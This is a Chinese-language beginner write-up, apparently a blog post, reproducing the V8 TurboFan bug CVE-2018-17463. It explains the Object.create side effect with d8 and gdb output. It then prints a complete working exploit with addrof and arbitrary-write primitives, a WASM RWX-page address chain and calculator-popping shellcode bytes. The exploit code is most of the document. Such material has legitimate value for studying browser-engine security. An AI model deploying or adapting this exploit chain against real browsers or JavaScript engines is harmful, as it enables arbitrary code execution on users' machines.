通過一個CVE零基礎入門V8-pwn
前言
跟隨P4nda大佬的博客:http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference
復現了CVE-2018-17463,在一些大佬懶得講的地方加了一些理解和解釋,比較新手向
環境
commit: 568979f4d891bafec875fab20f608ff9392f4f29
v8環境搭建:https://zhuanlan.zhihu.com/p/159646912
正文
漏洞存在于src/compiler/js-operator.cc:625
#define CACHED_OP_LIST(V) ... ... V(CreateObject, Operator::kNoWrite, 1, 1) ... ...
問題是對JSCreateObject的操作存在誤判,V8認為CreateObject不存在副作用,所以是kNoWrite,副作用就是指某個操作改變了某些全局變量或其他的系統狀態等等。
但是實際上,在Turbofan的generic-lowering階段,generic-lowering作用是將JS前綴指令轉換為更簡單的調用和stub調用。Turbofan把JSCreateObject節點用Builtins函數kCreateObjectWithoutProperties代替,而kCreateObjectWithoutProperties就是一個stub調用。
(這里一些源碼就不放了,新手向新手向,想細看源碼的可以移步大佬的博客)
如果一路跟進下去,在JSObject::NormalizeProperties函數中,可以發現該函數會調用Map::Normalize根據原有的map生成一個新的map,并且利用新的map重新構建輸入的Object,這明顯是一個具有side-effect的操作。
也就是說這個函數會改變我們傳進去的參數object。然后看這句代碼:

可以看到,新生成的map是字典模式的。所以最后我們輸入的object即便原來是fast模式,也會變成字典模式。所以JSCreate并不是KNoWrite的。
KNoWrite是一個枚舉類型的標志:

那么我們如何實現JSCreate操作呢,這里可以通過Object.create觸發
其函數定義為:
Object.create(proto, [propertiesObject])
第二個參數是可選的,如果寫了就會把它加入到新創建的對象的可枚舉屬性中。然后第一個參數是作為新創建的對象的原型,這也就滿足了上面說的一個對象作為另一個對象的原型的條件。
接下來我們用d8去調一下試試:
首先我們聲明一個對象:

可以看到此時a是fast模式,然后我們執行Object.create(a)試試:

可以看到,我們只是將a當做一個參數去調用了一個函數,a本身的模式就被改變了。
現在我們只知道a的模式被改變了,那么對應到具體的內存中又發生了哪些變化呢,我們用gdb調進去看看:
先放調試的js代碼:
var a={x:1,y:2,z:3};a.b=4;a.c=5;a.d=6;%DebugPrint(a);%SystemBreak();Object.create(a);%DebugPrint(a);%SystemBreak();
我們首先來到第一個斷點:

這是a的結構,有六個屬性,其中有三個標志為properties,還有三個我們可以通過查看object的map:

發現是inobject properties,也就是保存在結構體內部的屬性。
我們可以直接查看a所在的內存:

可以發現,第一個八字節,存的是object對應的map,第二個八字節:

可以看到里面存放了我們后來添加進去的三個屬性,并且是按順序存儲。
然后我們看進入到第二個斷點處:

可以看到a的map已經變成了字典模式,符合我們上面對它進行的分析。
然后我們查看a的內存:

我們發現x,y,z的屬性值不見了,我們再去查看properties:

發現長度變成了6,并且結構變成了hashtable,也就是哈希表。
到了這里,我們發現,Object.create對一個Object的影響,無論原來的屬性是inobject properties還是properties,都搞到properties中,并且把原來的線性結構改成hash表的字典結構。
現在我們已經知道了這個side-effect,那么我們如何利用它呢?
首先我們看一個函數:
function foo(o) { return o.a + o.b; }
其IR code 如下:
CheckHeapObject o CheckMap o, map1 r0 = Load [o + 0x18] CheckHeapObject o CheckMap o, map1 r1 = Load [o + 0x20] r2 = Add r0, r1 CheckNoOverflow Return r2
大意就是檢查map,賦值,檢查map,賦值,相加,檢查溢出,返回
當兩個檢查節點中間的操作是kNoWrite時,第二個檢查就變成了多余的,所以我們可以先訪問一個對象的內部屬性,然后調用Object.create(),由于JS引擎默認這個操作是kNoWrite的,所以可能會導致我們再訪問變量的時候不檢查了。具體利用方法為:
首先定義一個數組,初始化一個a屬性,然后再額外添加一個b屬性,然后利用Object.create(數組),改變其內部存儲,然后返回b屬性。
function attack(){ function change(x){ x.a; Object.create(x); return x.b; }
for(let i =0;i<10000;i++) { let x={a:0x1234}; x.b=0x5678; let res=change(x); if(res!=0x5678) { console.log(i); console.log("CVE-2018-17463 exists in the d8"); return; } } console.log("no cve")}attack()
把這段代碼扔d8里跑一下:

可以看到確實觸發了漏洞
由于它是由順序表變成了哈希表,具有一定的隨機性,每個屬性的偏移位置是不固定的,這給我們的穩定利用帶來了難度,但是我們又發現了一個規律:


當我們對兩個屬性名相同的對象進行上面的操作時,相同的屬性名所在的偏移是相同的,盡管他們的屬性值不同。
接下來就到了比較難懂的地方了,我們抓住相同的屬性名偏移相同這一特點,以及V8會有一定可能因為認為Object.create的操作是kNoWrite的而放棄第二次檢查這兩個特點,去構造一個沖突,什么沖突呢,屬性名偏移沖突。
我們先來看代碼:
let OPTIMIZATION_NUM = 10000let OBJ_LEN = 0x30
function getOBJ(){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ eval(`res.${'b'+i} = -${0x4869 + i}; `); } return res;}
function findCollision(){ let find_obj = []; for (let i = 0;i find_obj[i] = 'b'+i; } eval(` function bad_create(x){ x.a; this.Object.create(x); ${find_obj.map((b) => `let ${b} = x.${b};`).join('')} return [${find_obj.join(', ')}]; } `); for (let i = 0; i let tmp = bad_create(getOBJ()); for (let j = 0 ;j if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){ console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory"); //return ['b'+j , 'b' + -(tmp[j]+0x4869)]; } } } throw "not found collision ";}findCollision();
由于本人是剛學V8兩天的小白,僅僅這段代碼就看了足足一個小時,還好最后也是看懂了,這里來講講它做了什么:
可以這樣理解,我們先搞出來一個對象,賦一些屬性上去,這里注意,一定要是有規律的賦,怎么算有規律呢,我們需要能夠做到通過屬性名知道屬性值,并且能夠通過屬性值知道屬性名,這里可以采用字母+編號的方式。比如b12=120;b13=121;b14=122這種方式,讓其對應上。
做以上操作的時候代碼中運用了模板字符串啊,eval等這些函數,以前也沒怎么接觸過js,確實是蒙了一小會,不過多百度百度也就懂了。
然后仿照上面我們判斷引擎是否存在cve漏洞的方法,通過判斷返回值是否符合預期我們就可以知道是否觸發了漏洞,然后這里多了一個操作,如果不符合預期的話,那它應該是給我們返回了一個其他屬性的值,什么值呢,這里就需要依靠之前設定的規律來找到,找到發生沖突的屬性,假設是我們預期的返回值是A的,但是返回了B的屬性值,說明漏洞發生了,數據內存結構被改變了。也就是說當我訪問B的時候,它會給我B的屬性值,當我訪問A的時候,它還會給我B的屬性值。
為什么這樣就可以利用了呢?
我們上面已經發現了,相同的屬性名,偏移不變,所以如果我們新建一個object,然后添加兩個屬性,名字就叫A和B,此時我去訪問A,就可以得到B的數據了,如果B中存了object類型的數據,那么我正常通過B去訪問,引擎檢測到我要打印object的話,它會顯示類型名,即object,如果A中本來存了浮點型的數據,這樣打印的時候,會把對應偏移的數據當成浮點型來打印,也就是會打印真值,而對應偏移的數據其實是B的object的地址,這樣就拿到了addrof原語。
我們來看一下實現代碼:
o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}
這樣的話看似返回的應該是1.1,但是實際上返回的是浮點型的object的地址,我們做一下浮點轉換即可。
有了addrof原語,我們還需要能夠做到任意地址讀寫,這里借用了ArrayBuffer這一數據結構。我們先來看一下ArrayBuffer的結構長啥樣:
pwndbg> v8print 0x1d4b8ef8e1a90x1d4b8ef8e1a9: [JSArrayBuffer] - map: 0x350743c04371 [FastProperties] - prototype: 0x29b14b610fd1 map = 0x350743c043c1>- elements: 0x236c6c482cf1 0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5652a87208f0 - byte_length: 1024 - neuterable - properties: 0x236c6c482cf1 0]> {}- embedder fields = { (nil) (nil) }
其長度由byte_length指定,而實際讀寫的內存位于backing_store,當可以修改一個ArrayBuffer的backing_store時就可以對任意地址進行讀寫。而此成員在結構體中的偏移是0x20
也就是說我們需要構造一個往偏移+0x20處寫的操作就可以控制ArrayBuffer讀寫哪里的內存。
然后我們來研究一下fast模式下的內存結構,我們先看這段代碼執行的結果:
var a={x0:0x41414141};%DebugPrint(a);%SystemBreak();
可以看到第一個屬性值出現在了偏移為0x18的位置
那么如果換成這種嵌套的寫法呢:
var a={x0:{x1:1.1,x2:1.2}};%DebugPrint(a);%SystemBreak();
我們再來看一下:
我們會發現,0x18存的是0x20處的地址,然后0x20是一個新的對象的起始地址,然后1.2存在了0x20偏移0x20的地方,那么結合之前的漏洞,我們可以知道,當我們去修改X.x0.x2的時候,就是在修改Y.object偏移0x20位置的值了。
也就是說我們有了任意寫了,那么如何任意讀呢,由于我們是利用ArrayBuffer來進行的任意地址寫,讀肯定也要借助它,這里用了DataView:
它可以方便的讀取ArrayBuffer里的數據。
最后一個問題,我們有了任意地址讀寫,我們應該考慮的是往一個rwx的區域寫shellcode,然后去執行,我們往哪里寫呢?
利用的是wasm機制,這里給出一個wasm的實例構造:
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);var wasmImports = { env: { puts: function puts (index) { console.log(utf8ToString(h, index)); } }};let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);let h = new Uint8Array(m.exports.memory.buffer);let f = m.exports.p4nda;f();
其中,f是一個JSFunction對象,只不過其實際執行代碼存放于一個rwx的內存中,通過寫該內存的代碼區域,最終調用f(),觸發來執行shellcode。
首先,構造wasm對象f方便shellcode執行,并利用addrof原語泄露f的地址。然后,定義一個ArrayBuffer對象,并利用gc機制使其被放入Old Space使地址更加穩定。之后,不斷的利用該ArrayBuffer對象,泄露并修改其backing_store成員指向待讀寫區域,具體修改順序為從JSFucntion到rwx區域的尋址流程:
JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area
我們通過一串調用鏈一路讀下去,讀到一個,寫到ArrayBuffer的backing_store中,然后接著讀指定偏移的數據,再寫過去,一直做到我們得到rwx地址,然后往rwx里面寫好shellcode,最后調用f()觸發即可。
有關wasm機制可以通過這篇文章進行一個初步的了解:https://www.cnblogs.com/jixiaohua/p/10425805.html
到這里所有的攻擊原理已經了解清楚了,這里放一下大佬的exp,我這小垃圾自己寫肯定是寫不來的了,不過至少大佬的exp已經基本弄懂了。
function gc(){ /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/ for(var i=0;i<((1024 * 1024)/0x10);i++) { var a= new String(); }}function give_me_a_clean_newspace(){ /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/ gc() gc()}let f64 = new Float64Array(1);let u32 = new Uint32Array(f64.buffer);function d2u(v) { f64[0] = v; return u32;}function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64;}function hex(b) { return ('0' + b.toString(16)).substr(-2);}// Return the hexadecimal representation of the given byte array.function hexlify(bytes) { var res = []; for (var i = 0; i < bytes.length; i++) res.push(hex(bytes[i])); return res.join('');}// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) { if (hexstr.length % 2 == 1) throw new TypeError("Invalid hex string"); var bytes = new Uint8Array(hexstr.length / 2); for (var i = 0; i < hexstr.length; i += 2) bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); return bytes;}function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data); var lines = []; for (var i = 0; i < data.length; i += 16) { var chunk = data.slice(i, i+16); var parts = chunk.map(hex); if (parts.length > 8) parts.splice(8, 0, ' '); lines.push(parts.join(' ')); } return lines.join('');}// Simplified version of the similarly named python module.var Struct = (function() { // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. var buffer = new ArrayBuffer(8); var byteView = new Uint8Array(buffer); var uint32View = new Uint32Array(buffer); var float64View = new Float64Array(buffer); return { pack: function(type, value) { var view = type; // See below view[0] = value; return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); }, unpack: function(type, bytes) { if (bytes.length !== type.BYTES_PER_ELEMENT) throw Error("Invalid bytearray"); var view = type; // See below byteView.set(bytes); return view[0]; }, // Available types. int8: byteView, int32: uint32View, float64: float64View };})();//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Gro?//// Requires utils.js//// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) { // The underlying byte array. var bytes = new Uint8Array(8); switch (typeof v) { case 'number': v = '0x' + Math.floor(v).toString(16); case 'string': if (v.startsWith('0x')) v = v.substr(2); if (v.length % 2 == 1) v = '0' + v; var bigEndian = unhexlify(v, 8); bytes.set(Array.from(bigEndian).reverse()); break; case 'object': if (v instanceof Int64) { bytes.set(v.bytes()); } else { if (v.length != 8) throw TypeError("Array must have excactly 8 elements."); bytes.set(v); } break; case 'undefined': break; default: throw TypeError("Int64 constructor requires an argument."); } // Return a double whith the same underlying bit representation. this.asDouble = function() { // Check for NaN if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) throw new RangeError("Integer can not be represented by a double"); return Struct.unpack(Struct.float64, bytes); }; // Return a javascript value with the same underlying bit representation. // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) // due to double conversion constraints. this.asJSValue = function() { if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) throw new RangeError("Integer can not be represented by a JSValue"); // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. this.assignSub(this, 0x1000000000000); var res = Struct.unpack(Struct.float64, bytes); this.assignAdd(this, 0x1000000000000); return res; }; // Return the underlying bytes of this number as array. this.bytes = function() { return Array.from(bytes); }; // Return the byte at the given index. this.byteAt = function(i) { return bytes[i]; }; // Return the value of this number as unsigned hex string. this.toString = function() { return '0x' + hexlify(Array.from(bytes).reverse()); }; // Basic arithmetic. // These functions assign the result of the computation to their 'this' object. // Decorator for Int64 instance operations. Takes care // of converting arguments to Int64 instances if required. function operation(f, nargs) { return function() { if (arguments.length != nargs) throw Error("Not enough arguments for function " + f.name); for (var i = 0; i < arguments.length; i++) if (!(arguments[i] instanceof Int64)) arguments[i] = new Int64(arguments[i]); return f.apply(this, arguments); }; } // this = -n (two's complement) this.assignNeg = operation(function neg(n) { for (var i = 0; i < 8; i++) bytes[i] = ~n.byteAt(i); return this.assignAdd(this, Int64.One); }, 1); // this = a + b this.assignAdd = operation(function add(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) + b.byteAt(i) + carry; carry = cur > 0xff | 0; bytes[i] = cur; } return this; }, 2); // this = a - b this.assignSub = operation(function sub(a, b) { var carry = 0; for (var i = 0; i < 8; i++) { var cur = a.byteAt(i) - b.byteAt(i) - carry; carry = cur < 0 | 0; bytes[i] = cur; } return this; }, 2);}// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) { var bytes = Struct.pack(Struct.float64, d); return new Int64(bytes);};// Convenience functions. These allocate a new Int64 to hold the result.// Return -n (two's complement)function Neg(n) { return (new Int64()).assignNeg(n);}// Return a + bfunction Add(a, b) { return (new Int64()).assignAdd(a, b);}// Return a - bfunction Sub(a, b) { return (new Int64()).assignSub(a, b);}// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);function utf8ToString(h, p) { let s = ""; for (i = p; h[i]; i++) { s += String.fromCharCode(h[i]); } return s;}function log(x,y = ' '){ console.log("[+] log:", x,y); }
let OPTIMIZATION_NUM = 10000;let OBJ_LEN = 0x20;let X;let Y;// use a obj to check whether CVE-2018-17463 exists
function check_vul(){ function bad_create(x){ x.a; Object.create(x); return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){ let x = {a : 0x1234}; x.b = 0x5678; let res = bad_create(x); //log(res); if( res != 0x5678){ log("CVE-2018-17463 exists in the d8"); return; }
} throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ eval(`res.${'b'+i} = -${0x4869 + i}; `); } return res;}function printOBJ(x){ for(let i = 0;i eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`); //console.log('['+i+']'+x[i]); }}function findCollision(){ let find_obj = []; for (let i = 0;i find_obj[i] = 'b'+i; } eval(` function bad_create(x){ x.a; this.Object.create(x); ${find_obj.map((b) => `let ${b} = x.${b};`).join('')} return [${find_obj.join(', ')}]; } `); for (let i = 0; i let tmp = bad_create(getOBJ()); for (let j = 0 ;j if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){ log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory"); return ['b'+j , 'b' + -(tmp[j]+0x4869)]; } } } throw "not found collision ";}
// create primitive -> addroffunction getOBJ4addr(obj){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ if (('b'+i)!= X &&('b'+i)!= Y ){ eval(`res.${'b'+i} = 1.1; `); } if (('b'+i)== X){ eval(` res.${X} = {x1:1.1,x2:1.2}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res;}function addrof(obj){ eval(` function bad_create(o){ o.a; this.Object.create(o); return o.${X}.x1; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4addr(obj)); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.1){ log(tmp); return ret; } } throw "not found addrof obj";
}
// create primitive -> Arbitrary writefunction getOBJ4read(obj){ let res = {a:0x1234}; for (let i = 0; i< OBJ_LEN;i++){ if (('b'+i)!= X &&('b'+i)!= Y ){ eval(`res.${'b'+i} = {}; `); } if (('b'+i)== X){ eval(` res.${X} = {x0:{x1:1.1,x2:1.2}}; `); } if (('b'+i)== Y){ eval(` res.${Y} = {y1:obj}; `); } } return res;}function arbitraryWrite(obj,addr){ eval(` function bad_create(o,value){ o.a; this.Object.create(o); let ret = o.${X}.x0.x2; o.${X}.x0.x2 = value; return ret; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){ let ret = bad_create( getOBJ4read(obj),addr); let tmp =Int64.fromDouble(ret).toString(); if (ret!= 1.2){ return ; } } throw "not found arbitraryWrite";
}
// exploit
function exploit(){ var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]); var wasmImports = { env: { puts: function puts (index) { console.log(utf8ToString(h, index)); } } }; let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports); let h = new Uint8Array(m.exports.memory.buffer); let f = m.exports.p4nda; console.log("step 0: Game start"); f(); console.log("step 1: check whether vulnerability exists"); check_vul(); console.log("step 2: find collision"); [X,Y] = findCollision();
let mem = new ArrayBuffer(1024); give_me_a_clean_newspace(); console.log("step 3: get address of JSFunciton"); let addr = addrof(f); console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton"); arbitraryWrite(mem,addr); let dv = new DataView(mem); SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true)); console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr); console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo"); arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble()); WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true)); console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr); console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData"); arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble()); WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true)); console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr); console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject"); arbitraryWrite(mem,WasmInstanceObject_addr.asDouble()); imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true)); console.log("[+] imported_function_targets addr :"+imported_function_targets_addr); console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets"); arbitraryWrite(mem,imported_function_targets_addr.asDouble()); code_addr = Int64.fromDouble(dv.getFloat64(0,true)); console.log("[+] code addr :"+code_addr); log("step 9: make ArrayBuffer's backing_store -> rwx_area"); arbitraryWrite(mem,code_addr.asDouble()); console.log("step 10: write shellcode for poping up a calculator"); let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93]; let write_tmp = new Uint8Array(mem); write_tmp.set(shellcode_calc); console.log("[+] Press Any key to execute Shellcode"); readline(); f();
}
exploit();
然后我們來具體打一下看看效果:
計算器確實被丟出來了,拜拜~